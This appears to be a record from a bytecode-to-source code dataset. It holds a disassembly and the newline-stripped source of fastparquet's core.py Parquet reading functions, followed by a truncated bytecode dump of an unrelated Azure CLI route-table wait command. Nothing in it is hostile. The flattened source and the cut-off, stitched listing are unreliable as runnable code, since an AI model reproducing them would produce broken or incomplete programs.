LOAD_METHOD join LOAD_FAST column LOAD_ATTR meta_data LOAD_ATTR path_in_schema CALL_METHOD STORE_FAST name LOAD_FAST name LOAD_FAST columns COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_FAST name LOAD_FAST cats COMPARE_OP in POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST remains LOAD_METHOD discard LOAD_FAST name CALL_METHOD POP_TOP LOAD_GLOBAL read_col LOAD_FAST column LOAD_FAST schema_helper LOAD_FAST file LOAD_FAST name LOAD_CONST '-catdef' BINARY_ADD LOAD_DEREF out COMPARE_OP in LOAD_FAST selfmade LOAD_DEREF out LOAD_FAST name BINARY_SUBSCR LOAD_DEREF out LOAD_METHOD get LOAD_FAST name LOAD_CONST '-catdef' BINARY_ADD LOAD_CONST None CALL_METHOD LOAD_FAST row_filter LOAD_CONST ('use_cat', 'selfmade', 'assign', 'catdef', 'row_filter') CALL_FUNCTION POP_TOP LOAD_GLOBAL _is_map_like LOAD_FAST schema_helper LOAD_FAST column CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST name LOAD_FAST maps COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_DEREF out LOAD_FAST name BINARY_SUBSCR LOAD_METHOD copy CALL_METHOD LOAD_FAST maps LOAD_FAST name STORE_SUBSCR JUMP_ABSOLUTE LOAD_FAST column LOAD_ATTR meta_data LOAD_ATTR path_in_schema LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'key' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF out LOAD_FAST name BINARY_SUBSCR LOAD_FAST maps LOAD_FAST name BINARY_SUBSCR ROT_TWO STORE_FAST key STORE_FAST value JUMP_FORWARD to 272 LOAD_DEREF out LOAD_FAST name BINARY_SUBSCR LOAD_FAST maps LOAD_FAST name BINARY_SUBSCR ROT_TWO STORE_FAST value STORE_FAST key LOAD_CONST <code object <listcomp> at 0x7fab81f0b780, file "f.py", line 772> LOAD_CONST 'read_row_group_arrays.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL zip LOAD_FAST key LOAD_FAST value CALL_FUNCTION GET_ITER CALL_FUNCTION LOAD_DEREF out LOAD_FAST name BINARY_SUBSCR LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR LOAD_FAST maps LOAD_FAST name DELETE_SUBSCR JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 346 LOAD_FAST remains GET_ITER FOR_ITER to 344 STORE_FAST k LOAD_CONST None LOAD_DEREF out LOAD_FAST k BINARY_SUBSCR LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 36 STORE_FAST _ LOAD_FAST _ LOAD_METHOD endswith LOAD_CONST '-catdef' CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST _ LOAD_CONST '-catdef' BINARY_ADD LOAD_DEREF out COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST _ YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 40 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST k LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL dict LOAD_GLOBAL zip LOAD_FAST k LOAD_FAST v CALL_FUNCTION CALL_FUNCTION JUMP_FORWARD to 36 LOAD_CONST None LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST partition_meta JUMP_IF_TRUE_OR_POP BUILD_MAP STORE_FAST partition_meta LOAD_FAST assign LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'Going with pre-allocation!' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL read_row_group_arrays LOAD_FAST file LOAD_FAST rg LOAD_FAST columns LOAD_FAST categories LOAD_FAST schema_helper LOAD_FAST cats LOAD_FAST selfmade LOAD_FAST assign LOAD_FAST row_filter LOAD_CONST ('assign', 'row_filter') CALL_FUNCTION POP_TOP SETUP_LOOP to 222 LOAD_FAST cats GET_ITER FOR_ITER to 220 STORE_DEREF cat LOAD_DEREF cat LOAD_FAST assign COMPARE_OP not in POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST scheme LOAD_CONST 'hive' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST <code object <listcomp> at 0x7fab81f0b8a0, file "f.py", line 816> LOAD_CONST 'read_row_group.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST rg LOAD_ATTR columns LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR file_path LOAD_METHOD split LOAD_CONST '/' CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST partitions JUMP_FORWARD to 148 LOAD_CONST <code object <listcomp> at 0x7fab81f0b420, file "f.py", line 819> LOAD_CONST 'read_row_group.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL enumerate LOAD_FAST rg LOAD_ATTR columns LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR file_path LOAD_METHOD split LOAD_CONST '/' CALL_METHOD LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST partitions LOAD_CLOSURE cat BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab81f0b1e0, file "f.py", line 822> LOAD_CONST 'read_row_group.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST partitions GET_ITER CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST key STORE_FAST val LOAD_GLOBAL val_to_num LOAD_FAST val LOAD_FAST partition_meta LOAD_METHOD get LOAD_FAST key CALL_METHOD LOAD_CONST ('meta',) CALL_FUNCTION STORE_FAST val LOAD_FAST cats LOAD_DEREF cat BINARY_SUBSCR LOAD_METHOD index LOAD_FAST val CALL_METHOD LOAD_FAST assign LOAD_DEREF cat BINARY_SUBSCR LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST s LOAD_FAST s LOAD_METHOD split LOAD_CONST '=' CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 26 UNPACK_SEQUENCE STORE_FAST i STORE_FAST v LOAD_CONST 'dir%i' LOAD_FAST i BINARY_MODULO LOAD_FAST v BUILD_TUPLE LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 26 STORE_FAST p LOAD_FAST p LOAD_CONST 0 BINARY_SUBSCR LOAD_DEREF cat COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST p LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE
import numpy as np import pandas as pd from fastparquet import encoding from fastparquet.encoding import read_plain import fastparquet.cencoding as encoding from fastparquet.compression import decompress_data, rev_map, decom_into from fastparquet.converted_types import convert, simple, converts_inplace from fastparquet.schema import _is_list_like, _is_map_like from fastparquet.speedups import unpack_byte_array from fastparquet import parquet_thrift from fastparquet.cencoding import ThriftObject from fastparquet.util import val_to_num def _read_page(file_obj, page_header, column_metadata): """Read the data page from the given file-object and convert it to raw, uncompressed bytes (if necessary).""" raw_bytes = file_obj.read(page_header.compressed_page_size) raw_bytes = decompress_data( raw_bytes, page_header.uncompressed_page_size, column_metadata.codec, ) if column_metadata.codec: assert ( len(raw_bytes) == page_header.uncompressed_page_size ), "found {0} raw bytes (expected {1})".format( len(raw_bytes), page_header.uncompressed_page_size ) return raw_bytes def read_data(fobj, coding, count, bit_width, out=None): """For definition and repetition levels Reads with RLE/bitpacked hybrid, where length is given by first byte. out: potentially provide a len(count) uint8 array to reuse """ out = out or np.empty(count, dtype=np.uint8) o = encoding.NumpyIO(out) if coding == parquet_thrift.Encoding.RLE: while o.tell() < count: encoding.read_rle_bit_packed_hybrid(fobj, bit_width, 0, o, itemsize=1) else: raise NotImplementedError("Encoding %s" % coding) return out def read_def(io_obj, daph, helper, metadata, out=None): """ Read the definition levels from this page, if any. """ definition_levels = None num_nulls = 0 if not helper.is_required(metadata.path_in_schema): max_definition_level = helper.max_definition_level(metadata.path_in_schema) bit_width = encoding.width_from_max_int(max_definition_level) if bit_width: definition_levels = read_data( io_obj, parquet_thrift.Encoding.RLE, daph.num_values, bit_width, out=out ) if False and ( daph.statistics is not None and getattr(daph.statistics, "null_count", None) is not None ): num_nulls = daph.statistics.null_count elif False and ( daph.num_values == metadata.num_values and metadata.statistics and getattr(metadata.statistics, "null_count", None) is not None ): num_nulls = metadata.statistics.null_count else: num_nulls = ( daph.num_values - (definition_levels == max_definition_level).sum() ) if num_nulls == 0: definition_levels = None return definition_levels, num_nulls def read_rep(io_obj, daph, helper, metadata, out=None): """ Read the repetition levels from this page, if any. """ repetition_levels = None if len(metadata.path_in_schema) > 1: max_repetition_level = helper.max_repetition_level(metadata.path_in_schema) if max_repetition_level == 0: repetition_levels = None else: bit_width = encoding.width_from_max_int(max_repetition_level) repetition_levels = read_data( io_obj, parquet_thrift.Encoding.RLE, daph.num_values, bit_width, out=out ) return repetition_levels def read_data_page(f, helper, header, metadata, skip_nulls=False, selfmade=False): """Read a data page: definitions, repetitions, values (in order) Only values are guaranteed to exist, e.g., for a top-level, required field. """ daph = header.data_page_header raw_bytes = _read_page(f, header, metadata) io_obj = encoding.NumpyIO(raw_bytes) repetition_levels = read_rep(io_obj, daph, helper, metadata) if skip_nulls and not helper.is_required(metadata.path_in_schema): num_nulls = 0 definition_levels = None skip_definition_bytes(io_obj, daph.num_values) else: definition_levels, num_nulls = read_def(io_obj, daph, helper, metadata) nval = daph.num_values - num_nulls se = helper.schema_element(metadata.path_in_schema) if daph.encoding == parquet_thrift.Encoding.PLAIN: width = se.type_length values = read_plain( io_obj.read(), metadata.type, int(daph.num_values - num_nulls), width=width, utf=se.converted_type == 0, ) elif daph.encoding in [ parquet_thrift.Encoding.PLAIN_DICTIONARY, parquet_thrift.Encoding.RLE_DICTIONARY, parquet_thrift.Encoding.RLE, ]: if metadata.type == parquet_thrift.Type.BOOLEAN: bit_width = 1 elif daph.encoding == parquet_thrift.Encoding.RLE: bit_width = se.type_length else: bit_width = io_obj.read_byte() if bit_width in [8, 16, 32] and selfmade: num = (encoding.read_unsigned_var_int(io_obj) >> 1) * 8 values = np.frombuffer( io_obj.read(num * bit_width // 8), dtype="int%i" % bit_width ) elif bit_width: if bit_width > 8: values = np.empty(daph.num_values - num_nulls, dtype=np.int32) o = encoding.NumpyIO(values.view("uint8")) encoding.read_rle_bit_packed_hybrid( io_obj, bit_width, io_obj.len - io_obj.tell(), o=o, itemsize=4 ) else: values = np.empty(daph.num_values - num_nulls, dtype=np.uint8) o = encoding.NumpyIO(values) encoding.read_rle_bit_packed_hybrid( io_obj, bit_width, io_obj.len - io_obj.tell(), o=o, itemsize=1 ) if isinstance(values, np.ndarray): values = values[:nval] else: values = values.data[:nval] else: values = np.zeros(nval, dtype=np.int8) elif daph.encoding == parquet_thrift.Encoding.DELTA_BINARY_PACKED: values = np.empty( daph.num_values - num_nulls, dtype=np.int64 if metadata.type == 2 else np.int32, ) o = encoding.NumpyIO(values.view("uint8")) encoding.delta_binary_unpack(io_obj, o, longval=metadata.type == 2) else: raise NotImplementedError("Encoding %s" % daph.encoding) return definition_levels, repetition_levels, values[:nval] def skip_definition_bytes(io_obj, num): io_obj.seek(6, 1) n = num // 64 while n: io_obj.seek(1, 1) n //= 128 def read_dictionary_page( file_obj, schema_helper, page_header, column_metadata, utf=False ): """Read a page containing dictionary data. Consumes data using the plain encoding and returns an array of values. """ raw_bytes = _read_page(file_obj, page_header, column_metadata) if column_metadata.type == parquet_thrift.Type.BYTE_ARRAY: values = unpack_byte_array( raw_bytes, page_header.dictionary_page_header.num_values, utf=utf ) else: width = schema_helper.schema_element(column_metadata.path_in_schema).type_length values = read_plain( raw_bytes, column_metadata.type, page_header.dictionary_page_header.num_values, width, ) return values def read_data_page_v2( infile, schema_helper, se, data_header2, cmd, dic, assign, num, use_cat, file_offset, ph, idx=None, selfmade=False, row_filter=None, ): """ :param infile: open file :param schema_helper: :param se: schema element :param data_header2: page header struct :param cmd: column metadata :param dic: any dictionary labels encountered :param assign: output array (all of it) :param num: offset, rows so far :param use_cat: output is categorical? :return: None test data "/Users/mdurant/Downloads/datapage_v2.snappy.parquet" a b c d e 0 abc 1 2.0 True [1, 2, 3] 1 abc 2 3.0 True None 2 abc 3 4.0 True None 3 None 4 5.0 False [1, 2, 3] 4 abc 5 2.0 True [1, 2] b is delta encoded; c is dict encoded """ if data_header2.encoding not in [ parquet_thrift.Encoding.PLAIN_DICTIONARY, parquet_thrift.Encoding.RLE_DICTIONARY, parquet_thrift.Encoding.RLE, parquet_thrift.Encoding.PLAIN, parquet_thrift.Encoding.DELTA_BINARY_PACKED, ]: raise NotImplementedError size = ( ph.compressed_page_size - data_header2.repetition_levels_byte_length - data_header2.definition_levels_byte_length ) data = ( infile.tell() + data_header2.definition_levels_byte_length + data_header2.repetition_levels_byte_length ) n_values = data_header2.num_values - data_header2.num_nulls max_rep = schema_helper.max_repetition_level(cmd.path_in_schema) if max_rep: bit_width = encoding.width_from_max_int(max_rep) io_obj = encoding.NumpyIO( infile.read(data_header2.repetition_levels_byte_length) ) repi = np.empty(data_header2.num_values, dtype="uint8") encoding.read_rle_bit_packed_hybrid( io_obj, bit_width, data_header2.num_values, encoding.NumpyIO(repi), itemsize=1, ) max_def = schema_helper.max_definition_level(cmd.path_in_schema) nullable = isinstance(assign.dtype, pd.core.arrays.masked.BaseMaskedDtype) if max_def and data_header2.num_nulls: bit_width = encoding.width_from_max_int(max_def) io_obj = encoding.NumpyIO( infile.read(data_header2.definition_levels_byte_length) ) if nullable: defi = assign._mask else: defi = np.empty(data_header2.num_values, dtype=np.uint8) encoding.read_rle_bit_packed_hybrid( io_obj, bit_width, data_header2.num_values, encoding.NumpyIO(defi), itemsize=1, ) if max_rep: nulls = defi != max_def else: np.not_equal(defi.view("uint8"), max_def, out=defi) nulls = defi.view(np.bool_) infile.seek(data) see = ( se.type_length == assign.dtype.itemsize * 8 or simple.get(se.type).itemsize == assign.dtype.itemsize ) into0 = ( (use_cat or converts_inplace(se) and see) and data_header2.num_nulls == 0 and max_rep == 0 and assign.dtype.kind != "O" and row_filter is None and assign.dtype.kind not in "Mm" ) # TODO: this can be done in place but is complex if row_filter is None: row_filter = Ellipsis if data_header2.is_compressed is None: data_header2.is_compressed = True into = data_header2.is_compressed and rev_map[cmd.codec] in decom_into and into0 if nullable: assign = assign._data uncompressed_page_size = ( ph.uncompressed_page_size - data_header2.definition_levels_byte_length - data_header2.repetition_levels_byte_length ) if ( into0 and data_header2.encoding == parquet_thrift.Encoding.PLAIN and ( not data_header2.is_compressed or cmd.codec == parquet_thrift.CompressionCodec.UNCOMPRESSED ) ): assign[num : num + n_values].view("uint8")[:] = infile.read(size) convert(assign[num : num + n_values], se) elif into and data_header2.encoding == parquet_thrift.Encoding.PLAIN: decomp = decom_into[rev_map[cmd.codec]] decomp( np.frombuffer(infile.read(size), dtype="uint8"), assign[num : num + data_header2.num_values].view("uint8"), ) convert(assign[num : num + n_values], se) elif data_header2.encoding == parquet_thrift.Encoding.PLAIN: codec = cmd.codec if data_header2.is_compressed else "UNCOMPRESSED" raw_bytes = decompress_data( np.frombuffer(infile.read(size), "uint8"), uncompressed_page_size, codec ) values = read_plain( raw_bytes, cmd.type, n_values, width=se.type_length, utf=se.converted_type == 0, ) if data_header2.num_nulls: if nullable: assign[num : num + data_header2.num_values][ ~nulls[row_filter] ] = convert(values, se)[row_filter] else: assign[num : num + data_header2.num_values][ nulls[row_filter] ] = None # or nan or nat if row_filter is Ellipsis: assign[num : num + data_header2.num_values][~nulls] = convert( values, se ) else: assign[num : num + data_header2.num_values][ ~nulls[row_filter] ] = convert(values, se)[row_filter[~nulls]] else: assign[num : num + data_header2.num_values] = convert(values, se)[ row_filter ] elif ( use_cat and data_header2.encoding in [ parquet_thrift.Encoding.PLAIN_DICTIONARY, parquet_thrift.Encoding.RLE_DICTIONARY, ] ) or (data_header2.encoding == parquet_thrift.Encoding.RLE): codec = cmd.codec if data_header2.is_compressed else "UNCOMPRESSED" raw_bytes = np.frombuffer(infile.read(size), dtype="uint8") raw_bytes = decompress_data(raw_bytes, uncompressed_page_size, codec) pagefile = encoding.NumpyIO(raw_bytes) if data_header2.encoding != parquet_thrift.Encoding.RLE: bit_width = pagefile.read_byte() encoding.read_unsigned_var_int(pagefile) else: bit_width = 1 pagefile.seek(4, 1) if bit_width in [8, 16, 32] and selfmade: outbytes = raw_bytes[pagefile.tell() :] if len(outbytes) == assign[num : num + data_header2.num_values].nbytes: assign[num : num + data_header2.num_values].view("uint8")[ row_filter ] = outbytes[row_filter] else: if data_header2.num_nulls == 0: assign[num : num + data_header2.num_values][row_filter] = outbytes[ row_filter ] else: if row_filter is Ellipsis: assign[num : num + data_header2.num_values][~nulls] = outbytes else: assign[num : num + data_header2.num_values][ ~nulls[row_filter] ] = outbytes[~nulls * row_filter] assign[num : num + data_header2.num_values][nulls[row_filter]] = -1 else: if data_header2.num_nulls == 0: encoding.read_rle_bit_packed_hybrid( pagefile, bit_width, uncompressed_page_size, encoding.NumpyIO( assign[num : num + data_header2.num_values].view("uint8") ), itemsize=bit_width, ) else: temp = np.empty(data_header2.num_values, assign.dtype) encoding.read_rle_bit_packed_hybrid( pagefile, bit_width, uncompressed_page_size, encoding.NumpyIO(temp.view("uint8")), itemsize=bit_width, ) if not nullable: assign[num : num + data_header2.num_values][ nulls[row_filter] ] = None assign[num : num + data_header2.num_values][~nulls[row_filter]] = temp[ row_filter ] elif data_header2.encoding in [ parquet_thrift.Encoding.PLAIN_DICTIONARY, parquet_thrift.Encoding.RLE_DICTIONARY, ]: codec = cmd.codec if data_header2.is_compressed else "UNCOMPRESSED" compressed_bytes = np.frombuffer(infile.read(size), "uint8") raw_bytes = decompress_data(compressed_bytes, uncompressed_page_size, codec) out = np.empty(n_values, dtype="uint32") pagefile = encoding.NumpyIO(raw_bytes) bit_width = pagefile.read_byte() encoding.read_rle_bit_packed_hybrid( pagefile, bit_width, uncompressed_page_size, encoding.NumpyIO(out.view("uint8")), itemsize=4, ) if max_rep: encoding._assemble_objects( assign[idx[0] : idx[0] + data_header2.num_rows], defi, repi, out, dic, d=True, null=True, null_val=False, max_defi=max_def, prev_i=0, ) idx[0] += data_header2.num_rows elif data_header2.num_nulls: if not nullable and assign.dtype != "O": assign[num : num + data_header2.num_values][ nulls ] = None # may be unnecessary assign[num : num + data_header2.num_values][~nulls[row_filter]] = dic[out][ row_filter ] else: assign[num : num + data_header2.num_values][row_filter] = dic[out][ row_filter ] elif data_header2.encoding == parquet_thrift.Encoding.DELTA_BINARY_PACKED: assert data_header2.num_nulls == 0, "null delta-int not implemented" codec = cmd.codec if data_header2.is_compressed else "UNCOMPRESSED" raw_bytes = decompress_data( np.frombuffer(infile.read(size), "uint8"), uncompressed_page_size, codec ) if converts_inplace(se): encoding.delta_binary_unpack( encoding.NumpyIO(raw_bytes), encoding.NumpyIO( assign[num : num + data_header2.num_values].view("uint8") ), ) convert(assign[num : num + data_header2.num_values], se) else: out = np.empty(data_header2.num_values, dtype="int32") encoding.delta_binary_unpack( encoding.NumpyIO(raw_bytes), encoding.NumpyIO(out.view("uint8")) ) assign[num : num + data_header2.num_values][row_filter] = convert(out, se)[ row_filter ] else: raise NotImplementedError return data_header2.num_values def read_col( column, schema_helper, infile, use_cat=False, selfmade=False, assign=None, catdef=None, row_filter=None, ): """Using the given metadata, read one column in one row-group. Parameters ---------- column: thrift structure Details on the column schema_helper: schema.SchemaHelper Based on the schema for this parquet data infile: open file or string If a string, will open; if an open object, will use as-is use_cat: bool (False) If this column is encoded throughout with dict encoding, give back a pandas categorical column; otherwise, decode to values row_filter: bool array or None if given, selects which of the values read are to be written into the output. Effectively implies NULLs, even for a required column. """ cmd = column.meta_data try: se = schema_helper.schema_element(cmd.path_in_schema) except KeyError: assign[:] = None return off = min( (cmd.dictionary_page_offset or cmd.data_page_offset, cmd.data_page_offset) ) infile.seek(off) column_binary = infile.read(cmd.total_compressed_size) infile = encoding.NumpyIO(column_binary) rows = row_filter.sum() if isinstance(row_filter, np.ndarray) else cmd.num_values if use_cat: my_nan = -1 else: if assign.dtype.kind in ["i", "u", "b"]: my_nan = pd.NA elif assign.dtype.kind == "f": my_nan = np.nan elif assign.dtype.kind in ["M", "m"]: my_nan = assign.dtype.type("NaT") else: my_nan = None num = 0 # how far through the output we are row_idx = [0] # map/list objects dic = None index_off = 0 # how far through row_filter we are while num < rows: off = infile.tell() ph = ThriftObject.from_buffer(infile, "PageHeader") if ph.type == parquet_thrift.PageType.DICTIONARY_PAGE: dic2 = read_dictionary_page( infile, schema_helper, ph, cmd, utf=se.converted_type == 0 ) dic2 = convert(dic2, se) if use_cat and dic is not None and (dic2 != dic).any(): raise RuntimeError( "Attempt to read as categorical a column" "with multiple dictionary pages." ) dic = dic2 if use_cat and dic is not None: ddt = [ kv.value.decode() for kv in (cmd.key_value_metadata or []) if kv.key == b"label_dtype" ] ddt = ddt[0] if ddt else None catdef._set_categories(pd.Index(dic, dtype=ddt), fastpath=True) if np.iinfo(assign.dtype).max < len(dic): raise RuntimeError( "Assigned array dtype (%s) cannot accommodate " "number of category labels (%i)" % (assign.dtype, len(dic)) ) continue elif use_cat and dic is None and getattr(catdef, "_multiindex", False) is False: raise TypeError( "Attempt to load as categorical a column with no dictionary" ) if ph.type == parquet_thrift.PageType.DATA_PAGE_V2: num += read_data_page_v2( infile, schema_helper, se, ph.data_page_header_v2, cmd, dic, assign, num, use_cat, off, ph, row_idx, selfmade=selfmade, row_filter=row_filter, ) continue if ( selfmade and hasattr(cmd, "statistics") and getattr(cmd.statistics, "null_count", 1) == 0 ): skip_nulls = True else: skip_nulls = False defi, rep, val = read_data_page( infile, schema_helper, ph, cmd, skip_nulls, selfmade=selfmade ) max_defi = schema_helper.max_definition_level(cmd.path_in_schema) if isinstance(row_filter, np.ndarray): io = index_off + len(val) # will be new index_off if row_filter[index_off : index_off + len(val)].sum() == 0: num += len(defi) if defi is not None else len(val) continue if defi is not None: val = val[ row_filter[index_off : index_off + len(defi)][defi == max_defi] ] defi = defi[row_filter[index_off : index_off + len(defi)]] else: val = val[row_filter[index_off : index_off + len(val)]] rep = ( rep[row_filter[index_off : index_off + len(defi)]] if rep is not None else rep ) index_off = io if rep is not None and assign.dtype.kind != "O": # pragma: no cover raise ValueError( "Column contains repeated value, must use object " "type, but has assumed type: %s" % assign.dtype ) d = ph.data_page_header.encoding in [ parquet_thrift.Encoding.PLAIN_DICTIONARY, parquet_thrift.Encoding.RLE_DICTIONARY, ] if use_cat and not d: if not hasattr(catdef, "_set_categories"): raise ValueError( "Returning category type requires all chunks" " to use dictionary encoding; column: %s", cmd.path_in_schema, ) if rep is not None: null = not schema_helper.is_required(cmd.path_in_schema[0]) null_val = se.repetition_type != parquet_thrift.FieldRepetitionType.REQUIRED row_idx[0] = 1 + encoding._assemble_objects( assign, defi, rep, val, dic, d, null, null_val, max_defi, row_idx[0] ) elif defi is not None: part = assign[num : num + len(defi)] if isinstance(part.dtype, pd.core.arrays.masked.BaseMaskedDtype): part._mask[:] = defi != max_defi part = part._data elif part.dtype.kind != "O": part[defi != max_defi] = my_nan if d and not use_cat: part[defi == max_defi] = dic[val] elif not use_cat: part[defi == max_defi] = convert(val, se, dtype=assign.dtype) else: part[defi == max_defi] = val else: piece = assign[num : num + len(val)] if isinstance(piece.dtype, pd.core.arrays.masked.BaseMaskedDtype): piece = piece._data if use_cat and not d: val = convert(val, se, dtype=assign.dtype) try: i = pd.Categorical(val) except: i = pd.Categorical(val.tolist()) catdef._set_categories(pd.Index(i.categories), fastpath=True) piece[:] = i.codes elif d and not use_cat: piece[:] = dic[val] elif not use_cat: piece[:] = convert(val, se, dtype=assign.dtype) else: piece[:] = val num += len(defi) if defi is not None else len(val) def read_row_group_arrays( file, rg, columns, categories, schema_helper, cats, selfmade=False, assign=None, row_filter=False, ): """ Read a row group and return as a dict of arrays Note that categorical columns (if appearing in the parameter categories) will be pandas Categorical objects: the codes and the category labels are arrays. """ out = assign remains = set( _ for _ in out if not _.endswith("-catdef") and not _ + "-catdef" in out ) maps = {} for column in rg.columns: if _is_list_like(schema_helper, column) or _is_map_like(schema_helper, column): name = ".".join(column.meta_data.path_in_schema[:-2]) else: name = ".".join(column.meta_data.path_in_schema) if name not in columns or name in cats: continue remains.discard(name) read_col( column, schema_helper, file, use_cat=name + "-catdef" in out, selfmade=selfmade, assign=out[name], catdef=out.get(name + "-catdef", None), row_filter=row_filter, ) if _is_map_like(schema_helper, column): if name not in maps: maps[name] = out[name].copy() else: if column.meta_data.path_in_schema[0] == "key": key, value = out[name], maps[name] else: value, key = out[name], maps[name] out[name][:] = [ dict(zip(k, v)) if k is not None else None for k, v in zip(key, value) ] del maps[name] for k in remains: out[k][:] = None def read_row_group( file, rg, columns, categories, schema_helper, cats, selfmade=False, index=None, assign=None, scheme="hive", partition_meta=None, row_filter=False, ): """ Access row-group in a file and read some columns into a data-frame. """ partition_meta = partition_meta or {} if assign is None: raise RuntimeError("Going with pre-allocation!") read_row_group_arrays( file, rg, columns, categories, schema_helper, cats, selfmade, assign=assign, row_filter=row_filter, ) for cat in cats: if cat not in assign: continue if scheme == "hive": partitions = [s.split("=") for s in rg.columns[0].file_path.split("/")] else: partitions = [ ("dir%i" % i, v) for (i, v) in enumerate(rg.columns[0].file_path.split("/")[:-1]) ] key, val = [p for p in partitions if p[0] == cat][0] val = val_to_num(val, meta=partition_meta.get(key)) assign[cat][:] = cats[cat].index(val)
data/fastparquet-2024.2.0/fastparquet/core.py
12,824
9,011
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LOAD_CONST 0 LOAD_CONST ('*',) IMPORT_NAME azure.cli.core.aaz IMPORT_STAR LOAD_NAME register_command LOAD_CONST 'network route-table wait' CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object Wait at 0x7faa75aacdb0, file "f.py", line 4> LOAD_CONST 'Wait' MAKE_FUNCTION LOAD_CONST 'Wait' LOAD_NAME AAZWaitCommand CALL_FUNCTION CALL_FUNCTION STORE_NAME Wait LOAD_BUILD_CLASS LOAD_CONST <code object _WaitHelper at 0x7fab42101d20, file "f.py", line 155> LOAD_CONST '_WaitHelper' MAKE_FUNCTION LOAD_CONST '_WaitHelper' CALL_FUNCTION STORE_NAME _WaitHelper LOAD_CONST 'Wait' BUILD_LIST STORE_NAME __all__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Wait' STORE_NAME __qualname__ LOAD_CONST 'Place the CLI in a waiting state until a condition is met.' STORE_NAME __doc__ LOAD_CONST 'resources' LOAD_CONST 'mgmt-plane' LOAD_CONST '/subscriptions/{}/resourcegroups/{}/providers/microsoft.network/routetables/{}' LOAD_CONST '2015-06-15' BUILD_LIST BUILD_LIST BUILD_MAP STORE_NAME _aaz_info LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _handler at 0x7faa75aacf60, file "f.py", line 20> LOAD_CONST 'Wait._handler' MAKE_FUNCTION STORE_NAME _handler LOAD_CONST None STORE_NAME _args_schema LOAD_NAME classmethod LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _build_arguments_schema at 0x7faa75aac1e0, file "f.py", line 27> LOAD_CONST 'Wait._build_arguments_schema' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_arguments_schema LOAD_CONST <code object _execute_operations at 0x7faa75aac4b0, file "f.py", line 49> LOAD_CONST 'Wait._execute_operations' MAKE_FUNCTION STORE_NAME _execute_operations LOAD_NAME register_callback LOAD_CONST <code object pre_operations at 0x7faa75aaca50, file "f.py", line 54> LOAD_CONST 'Wait.pre_operations' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pre_operations LOAD_NAME register_callback LOAD_CONST <code object post_operations at 0x7faa75aac540, file "f.py", line 58> LOAD_CONST 'Wait.post_operations' MAKE_FUNCTION CALL_FUNCTION STORE_NAME post_operations LOAD_CONST <code object _output at 0x7faa75aace40, file "f.py", line 62> LOAD_CONST 'Wait._output' MAKE_FUNCTION STORE_NAME _output LOAD_BUILD_CLASS LOAD_CONST <code object RouteTablesGet at 0x7faa75aacc90, file "f.py", line 66> LOAD_CONST 'RouteTablesGet' MAKE_FUNCTION LOAD_CONST 'RouteTablesGet' LOAD_NAME AAZHttpOperation CALL_FUNCTION STORE_NAME RouteTablesGet LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD _handler LOAD_FAST command_args CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _execute_operations CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _output CALL_METHOD RETURN_VALUE LOAD_FAST cls LOAD_ATTR _args_schema LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _args_schema RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR _build_arguments_schema LOAD_FAST args LOAD_FAST kwargs CALL_FUNCTION LOAD_FAST cls STORE_ATTR _args_schema LOAD_FAST cls LOAD_ATTR _args_schema STORE_FAST _args_schema LOAD_GLOBAL 